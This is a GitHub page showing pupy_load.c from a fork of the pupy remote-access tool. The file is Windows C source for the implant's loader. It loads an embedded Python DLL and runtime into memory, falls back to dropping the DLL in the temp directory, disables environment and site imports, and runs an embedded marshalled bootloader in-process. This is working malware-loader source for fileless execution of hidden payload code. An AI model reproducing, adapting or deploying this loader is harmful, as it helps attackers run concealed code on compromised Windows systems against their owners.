forked from n1nj4sec/pupy
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpupy_load.c
167 lines (145 loc) · 4.13 KB
/
pupy_load.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
/*
# Copyright (c) 2015, Nicolas VERDIER ([email protected])
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
*/
#ifndef DEBUG
#define QUIET // uncomment to avoid debug prints
#endif
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include "pupy_load.h"
#include "Python-dynload.h"
#include "actctx.h"
#include "resource_python_manifest.c"
#include "base_inject.h"
extern const char resources_python27_dll_start[];
extern const int resources_python27_dll_size;
extern const char resources_bootloader_pyc_start[];
extern const int resources_bootloader_pyc_size;
extern const char resources_msvcr90_dll_start[];
extern const int resources_msvcr90_dll_size;
extern const char resource_python_manifest[];
extern DL_EXPORT(void) init_memimporter(void);
extern DL_EXPORT(void) initpupy(void);
CRITICAL_SECTION csInit; // protecting our init code
// Simple trick to get the current pupy arch
#ifdef _WIN64
const DWORD dwPupyArch = PROCESS_ARCH_X64;
#else
const DWORD dwPupyArch = PROCESS_ARCH_X86;
#endif
DWORD WINAPI mainThread(LPVOID lpArg)
{
int rc = 0;
PyObject *m=NULL, *d=NULL, *seq=NULL;
PyObject *mod;
char * ppath;
FILE * f;
char tmp_python_dll_path[MAX_PATH];
char tmp_manifest_path[MAX_PATH];
char tmp_path[MAX_PATH];
ULONG_PTR cookie = 0;
PyGILState_STATE restore_state;
if(!GetModuleHandle("msvcr90.dll")){
int r = _load_msvcr90(resources_msvcr90_dll_start);
#ifndef QUIET
fprintf(stderr,"loading msvcr90.dll: %d\n", r);
#endif
}
else{
#ifndef QUIET
fprintf(stderr,"msvcr90.dll already loaded\n");
#endif
}
GetTempPath(MAX_PATH, tmp_path);
//InitializeCriticalSection(&csInit);
if(!Py_IsInitialized)
{
int res=0;
if(GetModuleHandle("python27.dll")){
HANDLE hp;
#ifndef QUIET
fprintf(stderr,"python27.dll is already loaded\n");
#endif
_load_python_FromFile("python27.dll"); // does not actually load a new python, but uses the handle of the already loaded one
}
else{
if(!_load_python("python27.dll", resources_python27_dll_start)){
#ifndef QUIET
fprintf(stderr,"loading python27.dll from memory failed\n");
#endif
//if loading from memory fail, we write dll on disk
sprintf(tmp_python_dll_path, "%spython27.dll", tmp_path);
f=fopen(tmp_python_dll_path,"wb");
res=fwrite(resources_python27_dll_start, sizeof(char), resources_python27_dll_size, f);
fclose(f);
if(!_load_python(tmp_python_dll_path, NULL)){
if(!_load_python("python27.dll", NULL)){ // try loading from system PATH
#ifndef QUIET
fprintf(stderr,"could not load python dll\n");
#endif
}
}
}
#ifndef QUIET
fprintf(stderr,"python interpreter loaded\n");
#endif
}
}
#ifndef QUIET
fprintf(stderr,"calling PyEval_InitThreads() ...\n");
#endif
PyEval_InitThreads();
#ifndef QUIET
fprintf(stderr,"PyEval_InitThreads() called\n");
#endif
if(!Py_IsInitialized()){
ppath = Py_GetPath();
strcpy(ppath, "\x00");
Py_IgnoreEnvironmentFlag = 1;
Py_NoSiteFlag = 1; /* remove site.py auto import */
Py_Initialize();
#ifndef QUIET
fprintf(stderr,"Py_Initialize()\n");
#endif
PySys_SetObject("frozen", PyBool_FromLong(1));
}
restore_state=PyGILState_Ensure();
init_memimporter();
#ifndef QUIET
fprintf(stderr,"init_memimporter()\n");
#endif
initpupy();
#ifndef QUIET
fprintf(stderr,"initpupy()\n");
#endif
/* We execute then in the context of '__main__' */
#ifndef QUIET
fprintf(stderr,"starting evaluating python code ...\n");
#endif
m = PyImport_AddModule("__main__");
if (m) d = PyModule_GetDict(m);
if (d) seq = PyMarshal_ReadObjectFromString(resources_bootloader_pyc_start, resources_bootloader_pyc_size);
if (seq) {
Py_ssize_t i, max = PySequence_Length(seq);
for (i=0;i<max;i++) {
PyObject *sub = PySequence_GetItem(seq, i);
if (seq) {
PyObject *discard = PyEval_EvalCode((PyCodeObject *)sub, d, d);
if (!discard) {
PyErr_Print();
rc = 255;
}
Py_XDECREF(discard);
/* keep going even if we fail */
}
Py_XDECREF(sub);
}
}
PyGILState_Release(restore_state);
Py_Finalize();
//DeleteCriticalSection(&csInit);
return 0;
}